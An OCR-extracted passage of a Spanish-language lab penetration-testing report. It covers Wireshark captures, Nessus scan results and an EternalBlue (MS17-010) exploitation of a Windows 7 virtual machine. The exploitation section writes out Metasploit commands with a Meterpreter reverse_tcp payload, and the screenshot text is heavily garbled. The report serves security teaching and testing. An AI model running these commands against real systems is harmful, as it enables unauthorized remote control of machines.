8129 1272.6626351.. 192.168.5.185 192.168.5.162 TCP 66 57658 — 2869 [ACK] Seq=1 Ack=1 Win=32128 Len=8 TSval=2856178984 TSecr=442891
8130 1272.6636666.. 192.168.5.185 192.168.5.162 HTTP 583 Continuation
8131 1272.6735162.. 192.168.5.162 192.168.5.165 HTTP TTP/1.1 486 Bad Request (text/html)
8132 1272. 674 192.168.5.185 192.168.5.162 ition

1272, 192.168.5.165 .168.5.162 TCP - 2869 [SYN] Win=32128 (_F = 79861 TSecr=8 WS=128
8135 1272.685269.. 192.168.5.1682 192.168.5.185 TCP 57872 [SYN, ACK] Seq=8 Ack=1 Win-8182 Len- MS5S-1468 WS=256 SACK PERM TSval-242884 TSecr=265817%861
8136 1272.6853638.. 192.168.5.185 192.168.5.182 TCP 6657672 - 2869 [ACK] Seq=1 Ack=1 Win=32128 Len-B TSval-2856179807 TSecr=442694
8137 1272.6883672.. 192.168.5.185 192.168.5.182 HTTP 285 OPTIONS / HTTP/1.1
8138 1272.8759953.. 192.168.5.162 192.168.5.185 TcP 66 2869 ~ 66576 [ACK] Seg=1 Ack=223 Win=66566 Len=B TSwal=442912 TSecr=2856178386
8139 1272.8864926.. 192.168.5.162 192.168.5.165 TCP 66 2869 ~ 57672 [ACK] Seq=1 Ack=228 Win=66566 Len= TSwal=442914 TSecr=2856179816

Fuente: Elaboracion propia.

La imagen muestra un andlisis de trafico de red realizado con Wireshark. En la interfaz se
observan paquetes capturados entre dos IP, destacando detalles como el protocolo TCP y SMB,

direcciones IP, y contenido hexadecimal. Es Gtil para monitoreo y resolucion de problemas de red.
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llustracion 90 Detalles del analisis Nmap -A -T4 a la IP objetivo

L § 1 . &

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA@ o BB@ ac»n«>EHE
Rleoyadispleyfiter .cclp 0000000000000 ]
~ Source i Pr:tnmL Length Info

9 e
4 51452 — 1728 [SYN] SBIFB 'I].I'Fﬂlzﬂ Len=0 MSS=1460 SACK_PERM TSval=2849848840 TSecr=0 WS=128

Wireshark - Expert Information - eth

B 042 519781401 190 100, - Packet : Summary Protocol Count
449 942 520163636 192.168.
450 942.520163976 192.168.
451 942528194531 192.168.
452 942.521220335 192.168.
453 942. 5217BETZ 192.168.5. ].E

993 5 49016 [RST, ACK] Seq=1 A
1720 » 51452 [RST, ACK] S
4435 47324 [RST, ACK] Se

942,52 E a7
460 942525637334 192.168.5.185 192.168 54910 + 554 [RST, ACK] Si
461 942.526094698 192.168.5.185 192. 5 1723 + 51688 [RST, Ai K]S

42086 5 139 [RST,

255 47996 [RST, ACK] Seq=1 Ad
3306 33268 [RST, ACK] S
10 + 47822 [RST, ACK] Se
235 47502 [RST, ACK] Seq
199 » 57682 [RST, ACK] Se

83885 53414 [RST, ACK] S
21+ 37052 [RST, ACK] S

33015 38884 [RST, ACK] S
5051 58080 [RST, ACK] S

L ° 5 43 445 [RST, ACK] Se

® E  Connection reset (RST) ftcp.connection.rst) y BEna )135 ST CK] =

Fuente Elaboracmn propla

La imagen muestra una captura de pantalla del programa Wireshark, utilizado para analizar
el trafico de red. En ella, se observan varias filas con detalles de paquetes de red, y una ventana
emergente de informacion experta que destaca problemas como retransmisiones Yy

restablecimientos de conexion (RST).
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lustracion 91 Detalles del analisis Nmap -A -T4 a la IP objetivo

HEmmpkor-

Wireshark - Expert Information - eth0

- Summary Group P | Count
D-SACK Sequence Sequence
Bind not acknowledged Sequence
Connection reset (RST) Sequence
Failed to decrypt handshake Decryption
DNS query retransmission Protacol
Duplicate ACK Sequence
This frame is a (suspected) retransmission Sequence
Coalesced Padding Data Protacol
This frame undergoes the cannection closing Sequence
This frame Initiates the connection closing Sequence
. . . -166 S Time To Live Sequence
' 451 942.528194531 192,168 16 » Formatted text Sequence
L 452 942.521220335 192.168.5.185 N cU""ﬂ:“W‘“ll\ﬂl[FlNl
H B . Connection establish acknowledae (SYN+ACK)
blish reauest (YN

at Connect.
( ) & N
[Connection establish request (SYN): ser: 6 \l]]S

470 4383 YN]

Fuente: Elaboracion propia.

® B | Connection establish request (SYN) (tep.connection.syn)

La captura muestra un andlisis de tr&fico en Wireshark, enfocada en conexiones TCP, con
énfasis en el puerto 443 (HTTPS). Las lineas en rojo indican problemas de conexidn, como
paquetes RST o ACK no reconocidos. El panel "Expert Information” clasifica eventos como
advertencias, notas y chats, mientras que los detalles de paquetes TCP muestran solicitudes (SYN)
y reconocimientos (ACK). La herramienta se ejecuta en Kali Linux en una maquina virtual, y las
advertencias sugieren posibles problemas en conexiones HTTPS seguras.

Inicio de la configuracion para realizar el escaneo de vulnerabilidades

llustracion 92 Seleccién de Task

9 A men

Import Hew Folder

Fuente: Elaboracion propia.
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La imagen muestra una lista de escaneos de seguridad realizados en Tenable Nessus
Essentials .Windows 7. La lista vulnerabilidad ),Bajo demanda, y laN/A)

Se da inicio al escaneo de vulnerabilidades

lHustracion 93 Proceso de escaneo en proceso

Import New Folder © MNewscan

Name

St S e
MAQUINA OBJETIVO WIN? Vulnerability On Demand

Fuente: Elaboracion propia.

La imagen muestra una interfaz de usuario de un software de escaneo de vulnerabilidades.
Se destaca un escaneo con el nombre "MAQUINA OBJETIVO WIN7", que es de tipo

"Vulnerability” (Vulnerabilidad) y se ha realizado bajo demanda ("On Demand")

llustracion 94 Resultados del escaneo

) OBJETIVO

Configure~ Audit Trail Launch ~ Report  EX

Hosts 1 Vulnerabiltes 28 History 1
Filter »

Host Vulnerabilties v Scan Details

1921685102

End:

Elapsed:

Vulnerabilities

Fuente: Elaboracion propia.
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La imagen proporciona una vision clara y concisa de los resultados de un escaneo de
vulnerabilidades realizado a un equipo con direccion IP 192.168.5.102. A continuacion, se
desglosan los puntos clave:

e Host Especifico: El escaneo se centré en un host especifico con la direccion IP
192.168.5.102, lo cual indica que el andlisis se realiz6 a un equipo individual y no a una
red completa.

e Vulnerabilidades Criticas: La presencia de 3 vulnerabilidades criticas es una sefial de
alerta importante. Estas vulnerabilidades podrian ser explotadas por atacantes para obtener
acceso no autorizado al sistema, causar dafos significativos o incluso tomar el control
completo del equipo.

e Distribucion de Vulnerabilidades: La distribucién de vulnerabilidades por niveles de
severidad (critico, alto, medio, bajo e informativo) proporciona una vision general del
estado de seguridad del equipo. El hecho de que haya una cantidad considerable de
vulnerabilidades de nivel medio también requiere atencion, ya que pueden ser utilizadas
como punto de entrada para ataques mas sofisticados.

e Metodo de Severidad CVSS v3.0: El uso de CVSS v3.0 para calcular la severidad de las
vulnerabilidades garantiza una evaluacion estandarizada y comparable a nivel
internacional.

Implicaciones de Seguridad y Recomendaciones:

e Riesgo Inminente: La presencia de vulnerabilidades criticas indica un riesgo inminente

para la seguridad del sistema. Estas vulnerabilidades deben ser abordadas de manera

inmediata.
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lHustracion 95 Vulnerabilidades detectadas entre ellas la de aplicacion Rejetto

Configure Audit T§

Vulnerabilities 28

Filter =

Sev v S5 Ry n Count v

B 5MB (Multiple Issues) Misc.
Apache Struts 2 5:a / surl Tag href Element XS5 CGl abuses : X
8808 ICMP Timestamp Request Remote Date Disclosure General

SMB (Multiple Issues) Windows

B HTTP (Multiple Issues)

DCE 5 numeration Windows

Fuente: Elaboracion propia.

Analisis Técnico de la Imagen:

La imagen presenta un listado detallado de vulnerabilidades detectadas en un sistema
especifico, identificado por la direccion IP 192.168.5.102. Este listado parece provenir de un
escaner de vulnerabilidades, posiblemente Nessus o una herramienta similar, y forma parte de un
informe de evaluacion de la seguridad del sistema.

Elementos Clave:

o Host Especifico: El analisis se centrd en un Gnico host, lo que sugiere que se realiz6 un
escaneo granular en lugar de un escaneo de red completo.

e Cantidad de Vulnerabilidades: Se identificaron un total de 28 vulnerabilidades, lo cual
indica un nivel de riesgo potencialmente alto para el sistema.

o Clasificacion por Severidad: Las vulnerabilidades se clasifican segun su severidad
utilizando el sistema CVSS (Common Vulnerability Scoring System), que asigna un
puntaje numerico entre 0 y 10. En este caso, se observan vulnerabilidades criticas, de

severidad mixta, baja e informativa.
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o Detalle Técnico: Cada vulnerabilidad se acompafia de informacién técnica relevante,
como:
o CVE: Un identificador Unico que asigna a cada vulnerabilidad conocida.
o VPR y EPS: Métricas adicionales utilizadas para evaluar el riesgo asociado a la
vulnerabilidad.
o Familia: La categoria general a la que pertenece la vulnerabilidad (por ejemplo,
servidores web, sistemas operativos).
o Count: El nimero de veces que se ha detectado esa vulnerabilidad especifica en el
sistema.
« Vulnerabilidad Critica Destacada: La vulnerabilidad "Rejetto HTTP File Server 2.x <=
2.3m RCE (CVE-2024-23692)" con un puntaje CVSS de 9.8 es especialmente preocupante,
ya que permite la ejecucion remota de codigo, lo que podria comprometer gravemente la
seguridad del sistema.
Implicaciones de Seguridad:

La presencia de multiples vulnerabilidades, especialmente una critica como la mencionada,
indica que el sistema esta expuesto a un riesgo significativo de ser comprometido. Un atacante
podria explotar estas vulnerabilidades para obtener acceso no autorizado al sistema, robar datos

sensibles, causar dafios o incluso tomar el control completo del equipo.
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lustracion 96 Descripcion de la vulnerabilidad de Rejetto

Configure  Audit Trail Launch ~ Report

Vulnerahilities 28

3m RCE (CVE-2024-23692) ¢ > Plugin Details

Solution VPR Key Drivers
Rejetto HTTP File Ses

Risk Information

(CVSS v3.0 Base Score: 9.3

Fuente: Elaboracion propia.
La imagen muestra un resultado de un escaneo de vulnerabilidades enfocado en un servidor
HTTP especifico, identificado como "Rejetto HTTP File Server". El escaneo ha detectado una
vulnerabilidad critica que permite la ejecucion remota de codigo (RCE), lo cual representa un
riesgo muy alto para la seguridad del sistema.

e Vulnerabilidad Critica: La vulnerabilidad identificada (CVE-2024-23692) permite a un
atacante remoto ejecutar comandos arbitrarios en el servidor, lo que podria comprometer
la integridad, confidencialidad y disponibilidad de los datos.

e Impacto: Las consecuencias de explotar esta vulnerabilidad pueden ser graves, desde el

robo de datos hasta el control total del sistema.
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lHustracion 97 HFS en ejecucién detecta una solicitud desde la maquina atacante

#2 HFS ~ HTTP File Server 2.3 Build 288 = =<
& Menu | f:,} Port: 8080 | @ You are in Easy mode | jg Update now
@ Open in browser  http://192.168.5.102:8080/ -] Copy to clipboard
Virtual File System Log
. 03:38:42 p.m. 192.168.5.105:56440 Requested GET / o
03:38:42 p.m. 192.168.5.105:56484 Requested GET/
03:38:43 p.m. 192.168.5.105:56524 Requested GET /
03:38:43 p.m. 192.168.5.105:56536 Requested GET /
03:38:43 p.m. 192.168.5.105:56540 Requested GET /
03:368:43 p.m. 192.168.5.105:56534 Requested GET /
03:38:43 p.m. 192.168.5.105:56598 Requested GET /
03:38:49 p.m. 192.168.5.105:56668 Requested GET /
03:38:50 p.m. 192.168.5.105:56684 Requested GET/
03:38:50 p.m. 192.168.5.105:566530 Requested GET /

Fuente: Elaboracion propia.

Andlisis Técnico

Basandonos en la informacion proporcionada en la imagen y tu descripcion, podemos

realizar un andlisis técnico mas profundo:

Servidor HTTP File Server (HFS): Se ha identificado un servidor HTTP File Server

(HFS) en funcionamiento. Este tipo de servidores suelen utilizarse para compartir archivos

a través de una interfaz web, lo que los convierte en un objetivo atractivo para ataques si

no estan correctamente configurados o parcheados.

Version Vulnerable: La versién del servidor (2.3) podria ser vulnerable a las

explotaciones conocidas para esta version, como la mencionada en la imagen anterior. Es

crucial verificar si se han publicado parches de seguridad para esta version y aplicarlos de

inmediato.

Actividad Sospechosa: La gran cantidad de solicitudes GET consecutivas desde una

misma direccion IP sugiere una actividad inusual. Esto podria indicar:

a.

Escaneo de puertos: Un atacante podria estar buscando puertos abiertos y servicios
vulnerables en el servidor.
Intento de fuerza bruta: El atacante podria estar intentando adivinar contrasefias o

credenciales de acceso.
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c. Explotacion de vulnerabilidades: El atacante podria estar probando diferentes

vectores de ataque para explotar vulnerabilidades conocidas en el servidor.
Riesgos Potenciales: Si la actividad es maliciosa, el atacante podria:

d. Obtener acceso no autorizado: Al explotar una vulnerabilidad, el atacante podria
obtener acceso al sistemay a los archivos compartidos.

e. Realizar ataques de denegacion de servicio (DoS): El atacante podria enviar un gran
namero de solicitudes para sobrecargar el servidor y hacerlo inaccesible.

f. Instalar malware: El atacante podria inyectar codigo malicioso en el servidor para

realizar actividades dafiinas, como robar datos o controlar el sistema de forma remota.

lHustracion 98 Analisis de trafico después de ejecutar la aplicacion Rejetto

Rumpkvi

f aptring fom th)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAO cBBRccsn«>BEncnl

Source Protucu( Length Info

192,168.5.162 66 42280 - 445 [ACK] Seqe1 ACkeL HLD=32028 Len=h TSVAL-G4ZZ468748 TSecr=1844801
162 86523776492 192.168.5.165 192.168.5.162 SN 241 Negotiate Protocol Request
163 86529676536 192. Mamz 192.168.5.165 SN2 248 Negotiate Protocol ie:po"se
1648651651560
] 192.168.5, 3 [SW] Wmmimmmmwmmmmm
ime 53307238 192.168.5.182 192.168.5. Tt 74139 - ssm s, ACK] mmmnmmmmm_mmlwmm
168 86.536574525 192.168.5.165 192.168.5.10 TP 6655284 - 139 [ACK] Seq=1 Ack=1 Win=32128 Len= TSval=3422168754 TSecr=144822
169 66, S4B564728. 192.168.5.185 192.168.5.162 NBSS 138 Session request, to Nessus541366768<26> fron @w

iﬁEc 542996962 192.1 9 192.168.5.165 Negative session response, Called
) 10 7

¥ Transaission Control Protocol, Src Port: 51852, Dst Port: 88, Seq: 8, Len: 8

Fuente: Elaboracion propia.
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Resumen de la Actividad de Red:

La captura muestra un trafico de red intenso entre dos dispositivos con direcciones IP

192.168.5.105 y 192.168.5.102. La mayor parte de la comunicacién se basa en el protocolo EPM

(Endpoint Mapper), que se utiliza en entornos Windows para mapear nombres de servicio a

direcciones de red.

Andlisis Detallado del trafico en la red:

Protocolo EPM Dominante: La mayoria de los paquetes son solicitudes y respuestas
EPM. Esto indica que un dispositivo esta realizando una exploracion activa de los servicios
disponibles en el otro dispositivo.

Exploracion de Servicios: Las solicitudes EPM buscan informacién sobre diversos
servicios, incluyendo SMB (Server Message Block), RPC (Remote Procedure Call), y otros
servicios de red. Esto sugiere que se esta realizando un inventario de los servicios expuestos
en el sistema remoto.

Intentos de Conexion TCP: Aunque la mayoria del trafico es EPM, también se observan
algunos paquetes TCP, especialmente hacia el puerto 80 (HTTP). Esto indica que se estan
realizando intentos de conexion a servicios web.

Comportamiento Anomalo: La gran cantidad de solicitudes EPM en un corto periodo de
tiempo, junto con los intentos de conexion a diversos servicios, podria indicar un
comportamiento de escaneo. Esto es comudn en ataques de reconocimiento, donde un
atacante busca identificar vulnerabilidades en un sistema.

Paquete Destacado (204): El paquete TCP con el puerto de destino 80 es particularmente

interesante, ya que sugiere un intento de acceder a un servicio web. Esto podria ser un
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indicativo de un ataque mas dirigido, como un ataque de inyeccion SQL o una explotacion
de una vulnerabilidad en el servidor web.
Posibles Escenarios:
e [Escaneo de Vulnerabilidades: Un atacante estd explorando el sistema en busca de
servicios vulnerables, como servidores web con vulnerabilidades conocidas.
e Intento de Acceso No Autorizado: El atacante podria estar buscando una forma de
acceder a los recursos compartidos del sistema, como archivos o bases de datos.
e Reconocimiento Previo a un Ataque: El atacante podria estar recopilando informacion
sobre el sistema antes de lanzar un ataque mas sofisticado.
Fase de Explotacion
Uso de Metasploit para Explotar Vulnerabilidades
o En Metasploit, selecciono el exploit para la vulnerabilidad identificada. En este caso para

ms17-010: ingresamos el comando “msfconsole”

llustracion 99 Metasploit Framework en ejecucion
Kali_Linux_RIMEK [Corriendo] - Oracle VirtualBox

- = P

File Actions Edit Wiew Help

li-menu/s/helper-scripts/metasploit-framework.sh
Li:

W — 429 post
— 11 nops

L
L
L
[ S

Metasploit Documentation: https://docs.metasploit.com/

Fuente: Elaboracion propia.
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La imagen muestra la ejecucion del Metasploit Framework en una terminal de Kali Linux
dentro de una maquina virtual en Oracle VirtualBox. Se observa el inicio de Metasploit, una
herramienta ampliamente utilizada para pruebas de penetracion y explotacion de vulnerabilidades.
Detalles:

e Version: Metasploit v6.4.18-dev
e Moddulos disponibles:
o 2437 exploits
o 1255 modulos auxiliares
o 429 mddulos post-explotacion
o 1471 Payloads (cargas utiles)
o 47 encoders (codificadores)
o 11 nops (no operation)
o 9técnicas de evasion

La consola msfconsole de Metasploit ya esta cargada, permitiendo la configuracion del

ataque a la maquina objetivo con el comando:

“use exploit/windows/smb/ms17_010_eternalblue”
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llustracion 100 uso del exploit smb ms17_010
Kali_Linux_ RIMEK [Corriendo] - Oracle WirtualBox
_

File Action Wiewwr Help

helper—-scripts/metasploit—framework.sh

ipping inmit
log command,

1
1
1
1
1
1
1
1
1
1

iliary — 429 post
encoders — 11 nops

umentation: https: /S doc

Fuente: Elaboracion propia.
Configuracion de exploit SMB en Metasploit, con el exploit
windows/smb/ms17_010_eternalblue.
Con esto se carga el Payload, el cual debemos configurar de la siguiente manera asi:
e Host remoto con el comando maés la direccion IP de la maquina objetivo “set RHOST
192.168.5.102”.
e El puerto del host remoto “set RPORT 445”.
e El host local mas la direccion IP de la maquina atacante.
“set LHOST 192.168.5.105.”
e Es un payload que te da acceso a la sesion de Meterpreter. “set payload
windows/x64/meterpreter/reverse tcp”.

e Ejecutamos el ataque con “exploit o con run”
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lustracion 101 Inicio del exploit Reverse TCP handler

_ N N

- Shell No. 1

File Actions Edit View Help

ion
Metasploit Documentation: http CS .Me sploit.com/

mb/ms17_@10_eternalblue

ploit/windows/smb/ms17
d configured, default

HOST 192.168.5.105

. Run the

54
windo

nal 7601 Service P 1 > (B4-bit)

coming

creating free hole adjacent to SMB buffer.

8-30 19:11:51 -8500

Fuente: Elaboracion propia.

e Explotacion de la Vulnerabilidad EternalBlue

e La imagen muestra una captura de pantalla de una terminal de Kali Linux donde se esta
llevando a cabo una explotacion exitosa de la wvulnerabilidad CVE-2017-0143,
comunmente conocida como EternalBlue.

Descripcion Detallada de los Pasos

e Carga del moédulo Metasploit: Se carga el modulo de explotacidn

msfexploit/windows/smb/ms17_010_eternalblue en Metasploit Framework. Este mddulo

esta disefiado especificamente para explotar la vulnerabilidad SMBv1.
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e Configuracion de la explotacion:

Se establece la direccion IP del objetivo (RHOST) y la direccién IP de la maquina atacante

(LHOST).

Se configura el puerto de escucha en la maquina atacante (LPORT).

Se selecciona el payload, que en este caso es windows/x64/meterpreter/reverse_tcp. Este
payload permitira obtener un shell interactivo en la méaquina victima.

e Ejecucidn de la explotacion: Al ejecutar el moédulo, Metasploit inicia un exploit que envia
paquetes especialmente disefiados a la maquina objetivo con el fin de explotar la
vulnerabilidad SMBv1.

e Explotacion exitosa: La salida muestra que la explotacion ha sido exitosa y se ha obtenido
una sesion Meterpreter en la maquina victima.

¢, Cuales son sus implicaciones?

e Vulnerabilidad SMBv1: La méquina objetivo es vulnerable a la explotacién remota de
cédigo a través del servicio SMBv1.

e Acceso Remoto: EIl atacante ha obtenido acceso remoto a la maquina victima, lo que le
permite ejecutar comandos y controlar el sistema de forma remota.

e Riesgos: Esta explotacion puede llevar a una variedad de consecuencias negativas, como
la instalacion de malware, la exfiltracion de datos, la denegacion de servicio y el control
total del sistema.

Implicaciones de Seguridad

e La explotacion exitosa de la vulnerabilidad EternalBlue subraya la importancia de

mantener los sistemas actualizados con los ultimos parches de seguridad. Esta

vulnerabilidad fue ampliamente explotada en el pasado para propagar ransomware como
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WannaCry.
Captura de Tréfico de Explotacion con Wireshark
« Filtraen Wireshark para capturar trafico SMB en el puerto 445: Se usa la sintaxis “tcp.port

== 445”

llustracion 102 Captura y analisis de trafico

Yethd

Source " Destination

4. 8854.2148261.. 192.168.5.105 192.168.5.162 141 Tree Connect AndX Request, Path: \1192.168.5.182\IPC3
1564.. 8854.2171839.. 192.168.5.165 182.168.5.162 SMB Pi. 144 PeckNamedPipe Request, FID: Bx0608
1504.. 8854.2622427.. 192.168.5.185 192.168.5.162 Tcp 66 34381 ~ 445 [ACK] Seq=584 Ack=623 Win=31872 Len=8 TSval=3793935661 TSecr=1353816
1564.. 8854.3831318.. 192.168.5.165 182.168.5.162 SHB 149 Trans2 Request, SESSION_SETUP

192 168.5 162 ICP 56 34381 448 [ACK] Seq-ff7 Ack 3 18 2 i

1564.. 8895.4191571.. 192.168.5.185 192.168.5.162 Tce 66 34381 ~ 445 [FIN, ACK] Seq=667 Ack=662 Win=31872 Len=8 TSval-3793936158 TSecr=1353833
1564.. 8855.4346190.. 192.168.5.165 192.168.5.162 TCP 74 35047 - 445 [SYN] Seq=8 Win=32120 Len= MSS=146@ SACK_PERM TSval=3793936174 TSecr=6 WS=128
1564.. 8895.4354166.. 192.168.5.165 192.168.5.162 Tcp 66 35047 ~ 445 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval-3793936174 TSecr=1353138
1584.. 8855.4381861.. 192.168.5.185 192.168.5.162 SHB 117 Negotiate Protocol Request

6855.4397026.. 192.168.5.165 182.168.5.162 Tcp 66 35847 . 445 [ACK] Seq=52 Ack=132 Win=32600 Len=6 TSval=3793936179 TSecr=1353138
. 8855.4443630.. 192.168.5.105 192.168.5.162 S8 202 Session Setup AndX Request, User: anonymous

8855.4519629.. 192.168.5.165 182.168.5.162 SHB 141 Tree Connect AndX Request, Path: \\192.168.5.182\IPC$

6855.4656999.. 192.168.5.165 182.168.5.162 SMB 1158 NT Trans Request, <unknown>

8855.4899177.. 192.168.5.165 192.168.5.162 S8 7386 Trans2 Secondary Request, FID: 6x8068

8855.4300797.. 192.168.5.165 182.168.5.162 SHB 7386 Trans? Secondary Request, FID: 0x@6@Trans? Secondary Request, FID: 6x6868

8855.4905857... 192.168.5.105 192.168.5.162 SHB 5858 Trans2 Secondary Request, FID: 6x8008

. 8855.4909774.. 192.168.5.165 192.168.5.162 S8 8754 Trans2 Secondary Request, FID: 0x8068Trans2 Secondary Request, FID: 6x8608

6855.4815158.. 192.168.5.165 182.168.5.162 SHB 14546 Trans2 Secondary Request, FID: 8x8008Trans? Secondary Request, FID: 8x8686

8855.4917538.. 192.168.5.105 192.168.5.162 S8 2962 Trans2 Secondary Request, FID: ©x8068
1585.. 8855.4920983.. 192.168.5.165 192.168.5.162 SHB 16825 Trans2 Secondary Request, FID: @x0@@6Trans2 Secondary Request, FID: 8x6089

[ T IO 197 100 0 100 T IO T 10T e s gm0

1585.. 8865.5161968.. 192.168.5.165 192.168.5.162 Tce 74 43485 ~ 445 [SYN] Seq=8 Win=32120 Len~0 MSS=1460 SACK_PERM TSval-3793946255 TSecr=8 WS=128
1585.. 8865.5171659.. 192.168.5.165 192.168.5.162 TCP 66 43485 -~ 445 [ACK] Seq=1 Ack=1 Win=32128 Len=8 TSval-3793946256 TSecr=1354146
1565.. 8865.5186733.. 192.168.5.165 182.168.5.162 SMB 117 Negotiate Protocol Request
1585.. 8865.5201416.. 192.168.5.1685 192.168.5.162 Tcp 66 43485 ~ 445 [ACK] Seq=52 Ack=132 Win=32680 Len=0 TSval=3793946259 TSecr=1354146
1585.. 8865.5227747.. 192.168.5.165 182.168.5.162 SHB 151 Session Setup AndX Request
1505.. 8865.5261269.. 192.168.5.165 192.168.5.162 TP 74 33111 . 445 [SYN] Seq=8 Win=32120 Len0 MSS=1460 SACK_PERM TSval-3793946265 TSecr=0 WS=128
1585.. 8865.5270915.. 192.168.5.185 192.168.5.162 TcP 66 33111 - 445 [ACK] Seq=1 Ack=1 Wn=32128 Len=8 TSval-3793046266 TSecr=1354147
1585.. 8865.5314301.. 192.168.5.165 182.168.5.162 TCP 198 33111 - 445 [PSH, ACK] Seq=1 Ack=1 Win=32128 Len=132 TSval-3793946278 TSecr=1354147 [TCP segment of a reassembled PDU]
1565.. 8865.5337183.. 192.168.5.165 192.168.5.162 e 74 39275 ~ 445 [SYN] Seq=8 Win=32120 Len0 MSS=1460 SACK_PERM TSval-3793946273 TSecr=0 WS=128
aooo oo oo oo oo o o Fr-CuprT £ T T Y7 B W R T P YT = =

plete, WITHL

2 number )

ative cenienes numheril

Packets: 151246 - Displayed: 795 (0.5%)

Fuente: Elaboracion propia.
La captura de paquetes revela un intercambio de paquetes entre la maquina atacante (Kali
Linux) y la victima (Windows 7) a través del puerto 445, que es el puerto estandar para el servicio

SMB. Los paquetes muestran una secuencia de eventos que incluyen:
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e Negociacion SMB: Se establece una conexion SMB entre las dos maquinas.

o Explotacion de la vulnerabilidad: Se envian paquetes especialmente disefiados para
explotar la vulnerabilidad EternalBlue.

e Obtencion de un shell inverso: Si la explotacidn es exitosa, se obtiene un shell inverso,
lo que permite al atacante ejecutar comandos en la maquina victima.

Implicaciones de Seguridad
Este tipo de ataque tiene graves implicaciones de seguridad, incluyendo:

e Control remoto del sistema: El atacante puede tomar el control completo del sistema
comprometido, lo que le permite instalar programas, ver, modificar o eliminar datos, o
crear nuevas cuentas con todos los derechos de usuario.

e Propagacion de malware: El sistema comprometido puede ser utilizado como plataforma
para lanzar ataques a otros sistemas en la red.

e Robo de informacion: El atacante puede robar informacion confidencial almacenada en
el sistema.

o Denegacidn de servicio: El atacante puede hacer que el sistema se vuelva inutilizable.
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llustracion 103 Analisis de trafico

Beoapkoi-

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A04OcRBRcc 1« BEcaom

Source * Destination Protocol Length Info

1495.. 6991.5078094.. 192.168.5.185 192.168.5.162 74 556836 — 49158 [SYN] Seq=8 Win=32128 Len-8 MSS=1460 SACK PERN TSval-3792032246 TSecr=0 WS=128
1495.. 6851.5662161.. 192.168.5.1682 192.168.5.165 TCP 74 49158 . 55836 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len-8 MSS-1468 WS=256 SACK_PERM TSval-1162840 TSecr=3792032248
1495.. 6951.5694158.. 192.168.5.185 192.168.5.162 TCP 66 55836 - 49158 [ACK] Seq=1 Ack=1 Win=32128 Len=6 TSval-3732032248 TSecr=1162848
1495.. 6951.5126832.. 192.168.5.185 192.168.5.162 S5Lv3 176 Client Hello
1495.. §951.7091634.. 192.168.5.102 192.168.5.165 TCP 66 49158 — 55836 [ACK] Seq=1 Ack=111 Win=66568 Len=8 TSval-1162861 TSecr=3792032251
1495.. 6953.2366849.. TpLinkTechno_97:8c:.. Broadcast ARP 60 Who has 192.168.5.1067 Tell 192.168.5.1
1495.. 6956.5162371.. 192.166.5.185 192.168.5.162 TCP 66 55836 —~ 49158 [FIN, ACK] Seq=111 Ack=1 Win=32128 Len-8 TSval-3792839255 TSecr=1162861
1495 6958.5168497_ 182.168.5.162 192.168.5.165 TCP 66 49158 — 55836 [ACK] Seq=1 Ack=112 Win=66568 Len=B TSval-1163541 TSecr=3792039255
1495.. 6958.5169500.. 192.168.5.1682 192.168.5.165 TCP 66 49158 ~ 55836 [FIN, ACK] 5l:q=1 Ack=112 Win=66560 Len=0 TSval=1163541 TSecr=3792633255
140K GORQ F17290 107 1A% K 1A% 5 18 ] 55 BROIE  AOIEG [ACUT Som-117 Ark=3 Win=39178 |an-d TEal-2707090958 TSarr=1183611
5 g - . 74 46267 - 49158 [SYN] SE(FB Win=321728 Len=8 MSS=1468 SACK_PERM TSval=3792633259 TSecr=8 WS=128
| L490.. UJ00.JLGOL. LY. 100.D. 102 192.100.3. 100 ur 14 47100 — 40202 |ITN, ALR] Y- AUK-1 WLI-OLIZ LEI-D MID-1400 WO-ZJ0 DALA_FCKM 13vdl-1105081 19eul=3792039259
1495.. 6998.5253163.. 192.166.5.185 192.168.5.162 TCP 066 46202 - 49158 [ACK] Seq=1 Ack=1 Win=32128 Len-8 TSval-3792839264 TSecr=1163541
1495.. 6996.5298723.. 192.166.5.185 192.168.5.102 SsLvd 154 Client Hello
1495.. 6958.7444199.. 192.168.5.182 192.168.5.165 TCP 66 49158 — 462682 [ACK] Seq=1 Ack-89 Win=6656@ Len-B TSval=1163564 TSecr=3792039269
I 1495.. 6965.5347106.. 192.168.5.185 192.168.5.162 TCP 66 46202 - 49158 [FIN, ACK] Seq=89 Ack=1 Win=32128 Len=8 TSval=3792846274 TSecr=1163564
1495.. 6965.5355063.. 192.168.5.102 192.168.5.185 TCP 66 49158 - 46262 [ACK] Seq=1 Ack=98 Win=66560 Len=B TSval=1164243 TSecr=3792846274
| 1495.. 6965.5362786.. 192.168.5.102 192.168.5.165 TCP 66 49158 - 46262 [FIN, ACK] Seq=1 Ack=08 Win=66568 Len=8 TSval=1164243 TSecr=3702046274
L 1495.. 6965.5364371.. 192.166.5.105 192.168.5.162 TCP 066 46202 ~ 49158 [ACK] Seq=98 Ack=2 Win=32128 Len-8 TSval=3792846275 TSecr=1164243
1495.. 6979.1958096.. 34.107.243.93 192.168.5.165 TLSv1.3 186 Application Data
1495.. 6979.2083011.. 192.168.5.185 289.75.51.132 DNS 97 Standard query @xal3c A firefox.settings.services.mozilla.com
1495.. 6979.2646681.. 266.75.51.132 192.168.5.105 DNS 175 Standard query response 8xal3c A firefox.settings.services.mozilla.com CNAME prod.remote-settings.prod.webservices.mozgep.net A 34.1)
1495.. 6979.2068184.. 192.168.5.185 34.149.186.209 TCP 7453068 — 443 [SYN] Seq=8 Win=32126 Len=p MSS=1468 SACK PERM TSval=2384675388 TSecr=8 WS=128
1496.. 6979.2357481.. 192.168.5.185 34.167.243.93 TCP 66 58578 - 443 [ACK] Seq=1936 Ack=1716 Win=31872 Len=0 TSval=6885535 TSecr=3224846345
1496.. 6979.2366640.. 34.149.106.209 192.168.5.165 TCP 74 443 - 53060 [SYN, ACK] Seq=8 Ack=1 Win=65535 Len=8 MSS=1412 SACK_PERM TSval=3206791560 TSecr=2384875360 WS=256
1496.. 6979.2387542.. 192.166.5.185 34.149.180.209 TCP 66 53868 —~ 443 [ACK] Seq=1 Ack=1 Win=32128 Len-8 TSval-2304875412 TSecr=3206791380
1496.. 6979.2308847.. 192.168.5.165 34.149.108.269 TLSv1.2 583 Client Hello (SNI=firefox.settings.services.mozilla.com)
